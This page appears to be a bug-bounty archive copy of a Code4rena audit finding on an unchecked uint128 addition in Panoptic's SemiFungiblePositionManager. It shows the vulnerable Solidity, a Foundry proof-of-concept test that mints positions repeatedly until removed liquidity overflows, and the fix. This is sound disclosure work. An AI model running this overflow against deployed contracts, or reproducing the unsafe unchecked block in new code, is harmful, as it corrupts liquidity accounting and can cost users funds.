Skip to content
Business logic Audit finding Advanced

Removed liquidity can overflow when calling SemiFungiblePositionManager.mintTokenizedPosition function

The contract's accounting for removed liquidity uses an unchecked addition that can overflow a 128-bit integer when short and long positions are minted repeatedly. An attacker could cause the removed liquidity value to wrap around, leading to incorrect liquidity accounting and potentially allowing them to burn more liquidity than they should.

rbserver Follow

Originally disclosed on Code4rena

Submitted by rbserver

The following mintTokenizedPosition function eventually calls the _createLegInAMM function below.

https://github.com/code-423n4/2024-04-panoptic/blob/855f58414589e93fa62e34890118164e8ac7822f/contracts/SemiFungiblePositionManager.sol#L504-L527

    function mintTokenizedPosition(
        TokenId tokenId,
        uint128 positionSize,
        int24 slippageTickLimitLow,
        int24 slippageTickLimitHigh
    )
        external
        ReentrancyLock(tokenId.poolId())
        returns (LeftRightUnsigned[4] memory collectedByLeg, LeftRightSigned totalSwapped)
    {
        // create the option position via its ID in this erc1155
        _mint(msg.sender, TokenId.unwrap(tokenId), positionSize);
        ...
        // validate the incoming option position, then forward to the AMM for minting/burning required liquidity chunks
        (collectedByLeg, totalSwapped) = _validateAndForwardToAMM(
            tokenId,
            positionSize,
            slippageTickLimitLow,
            slippageTickLimitHigh,
            MINT
        );
    }

The _createLegInAMM function increases the removed liquidity when minting a long position by executing unchecked { removedLiquidity += chunkLiquidity } in which the related code comment states that we can't remove more liquidity than we add in the first place, so this can't overflow. However, minting contracts of the short and long positions repeatedly can actually increase the removed liquidity to overflow uint128, which means that the unchecked block is unsafe. When such overflow occurs, the accounting for the removed liquidity and liquidity becomes incorrect; in this case, the overflowed removed liquidity becomes less than it should be, and burning such overflowed removed liquidity would increase the liquidity by an amount that is less than it should be.

https://github.com/code-423n4/2024-04-panoptic/blob/855f58414589e93fa62e34890118164e8ac7822f/contracts/SemiFungiblePositionManager.sol#L958-L1104

    function _createLegInAMM(
        IUniswapV3Pool univ3pool,
        TokenId tokenId,
        uint256 leg,
        LiquidityChunk liquidityChunk,
        bool isBurn
    )
        internal
        returns (
            LeftRightSigned moved,
            LeftRightSigned itmAmounts,
            LeftRightUnsigned collectedSingleLeg
        )
    {
        ...
        uint128 updatedLiquidity;
        uint256 isLong = tokenId.isLong(leg);
        LeftRightUnsigned currentLiquidity = s_accountLiquidity[positionKey]; //cache
        {
            ...
            uint128 startingLiquidity = currentLiquidity.rightSlot();
            uint128 removedLiquidity = currentLiquidity.leftSlot();
            uint128 chunkLiquidity = liquidityChunk.liquidity();

            if (isLong == 0) {
                // selling/short: so move from msg.sender *to* uniswap
                // we're minting more liquidity in uniswap: so add the incoming liquidity chunk to the existing liquidity chunk
                updatedLiquidity = startingLiquidity + chunkLiquidity;

                /// @dev If the isLong flag is 0=short but the position was burnt, then this is closing a long position
                /// @dev so the amount of removed liquidity should decrease.
                if (isBurn) {
                    removedLiquidity -= chunkLiquidity;
                }
            } else {
                // the _leg is long (buying: moving *from* uniswap to msg.sender)
                // so we seek to move the incoming liquidity chunk *out* of uniswap - but was there sufficient liquidity sitting in uniswap
                // in the first place?
                if (startingLiquidity < chunkLiquidity) {
                    // the amount we want to move (liquidityChunk.legLiquidity()) out of uniswap is greater than
                    // what the account that owns the liquidity in uniswap has (startingLiquidity)
                    // we must ensure that an account can only move its own liquidity out of uniswap
                    // so we revert in this case
                    revert Errors.NotEnoughLiquidity();
                } else {
                    // startingLiquidity is >= chunkLiquidity, so no possible underflow
                    unchecked {
                        // we want to move less than what already sits in uniswap, no problem:
                        updatedLiquidity = startingLiquidity - chunkLiquidity;
                    }
                }

                /// @dev If the isLong flag is 1=long and the position is minted, then this is opening a long position
                /// @dev so the amount of removed liquidity should increase.
                if (!isBurn) {
                    // we can't remove more liquidity than we add in the first place, so this can't overflow
                    unchecked {
                        removedLiquidity += chunkLiquidity;
                    }
                }
            }

            // update the starting liquidity for this position for next time around
            s_accountLiquidity[positionKey] = LeftRightUnsigned
                .wrap(0)
                .toLeftSlot(removedLiquidity)
                .toRightSlot(updatedLiquidity);
        }

        ...
    }

Proof of Concept

Please add the following test in test\foundry\core\SemiFungiblePositionManager.t.sol. This test will pass to demonstrate the described scenario.

    function test_removedLiquidityOverflow() public {
        _initPool(0);

        _cacheWorldState(USDC_WETH_30);

        sfpm.initializeAMMPool(token0, token1, fee);

        int24 width = 4090;
        int24 strike = 0;

        populatePositionData(width, strike, 0, 0);

        uint128 psnSize = type(uint128).max / 70;

        TokenId shortTokenId = TokenId.wrap(0).addPoolId(poolId).addLeg(
            0,
            1,
            isWETH,
            0,
            0,
            0,
            strike,
            width
        );

        TokenId longTokenId = TokenId.wrap(0).addPoolId(poolId).addLeg(
            0,
            1,
            isWETH,
            1,
            0,
            0,
            strike,
            width
        );

        // repeatedly mint contracts of the short and long positions
        for (uint256 i = 0; i < 32311; i++) {
            sfpm.mintTokenizedPosition(
                shortTokenId,
                psnSize,
                TickMath.MIN_TICK,
                TickMath.MAX_TICK
            );

            sfpm.mintTokenizedPosition(
                longTokenId,
                psnSize,
                TickMath.MIN_TICK,
                TickMath.MAX_TICK
            );
        }

        accountLiquidities = sfpm.getAccountLiquidity(
            address(USDC_WETH_30),
            Alice,
            0,
            tickLower,
            tickUpper
        );

        // at this moment, the removed liquidity does not overflow uint128 yet
        uint128 accountLiquidities_leftSlot_before_overflow = accountLiquidities.leftSlot();
        assertLt(accountLiquidities_leftSlot_before_overflow, type(uint128).max);

        // mint contracts of the short and long positions for one more time
        sfpm.mintTokenizedPosition(
            shortTokenId,
            psnSize,
            TickMath.MIN_TICK,
            TickMath.MAX_TICK
        );

        sfpm.mintTokenizedPosition(
            longTokenId,
            psnSize,
            TickMath.MIN_TICK,
            TickMath.MAX_TICK
        );

        accountLiquidities = sfpm.getAccountLiquidity(
            address(USDC_WETH_30),
            Alice,
            0,
            tickLower,
            tickUpper
        );

        // the removed liquidity has overflowed uint128 since it is now less than its previous value
        assertLt(accountLiquidities.leftSlot(), accountLiquidities_leftSlot_before_overflow);
    }

Recommended Mitigation Steps

SemiFungiblePositionManager.sol#L1029-L1034 can be updated to the following code:

                if (!isBurn) {
                    removedLiquidity += chunkLiquidity;
                }

Assessed type

Under/Overflow

dyedm1 (Panoptic) confirmed


The original report as published on Code4rena, by rbserver. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The code uses an unchecked addition to increase removed liquidity without verifying that the sum cannot exceed the maximum value of uint128, based on an incorrect assumption that the total removed liquidity can never exceed the added liquidity.

Impact

The overflow causes the removed liquidity to become less than it should be, so burning such overflowed removed liquidity would increase the liquidity by an amount that is less than it should be, leading to incorrect accounting and potential loss of funds.

What the attacker needed

Ability to mint positions repeatedly; sufficient liquidity in the pool

The fix

The unchecked block should be removed so that the addition is checked and reverts on overflow.

How it was found

  1. Initialize the AMM pool and set up position data with a specific width and strike.
  2. Create a short position token ID and a long position token ID with the same parameters.
  3. Repeatedly mint both the short and long positions many times (e.g., 32311 iterations) using a large position size.
  4. Check the account liquidity; the removed liquidity (left slot) is still below the maximum uint128 value.
  5. Mint the short and long positions one more time each.
  6. Check the account liquidity again; the removed liquidity has decreased, indicating an overflow.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Smart contracts often store numbers in fixed-size containers, like a 128-bit integer. If you add to a number beyond its maximum, it wraps around to a small value, which is called an overflow. Here, the code assumed an overflow could never happen, but by repeatedly minting positions, an attacker can make the stored 'removed liquidity' overflow, breaking the accounting and possibly letting them withdraw more than they should.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by rbserver

View all

51 more disclosed reports, best first.

More from Panoptic

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.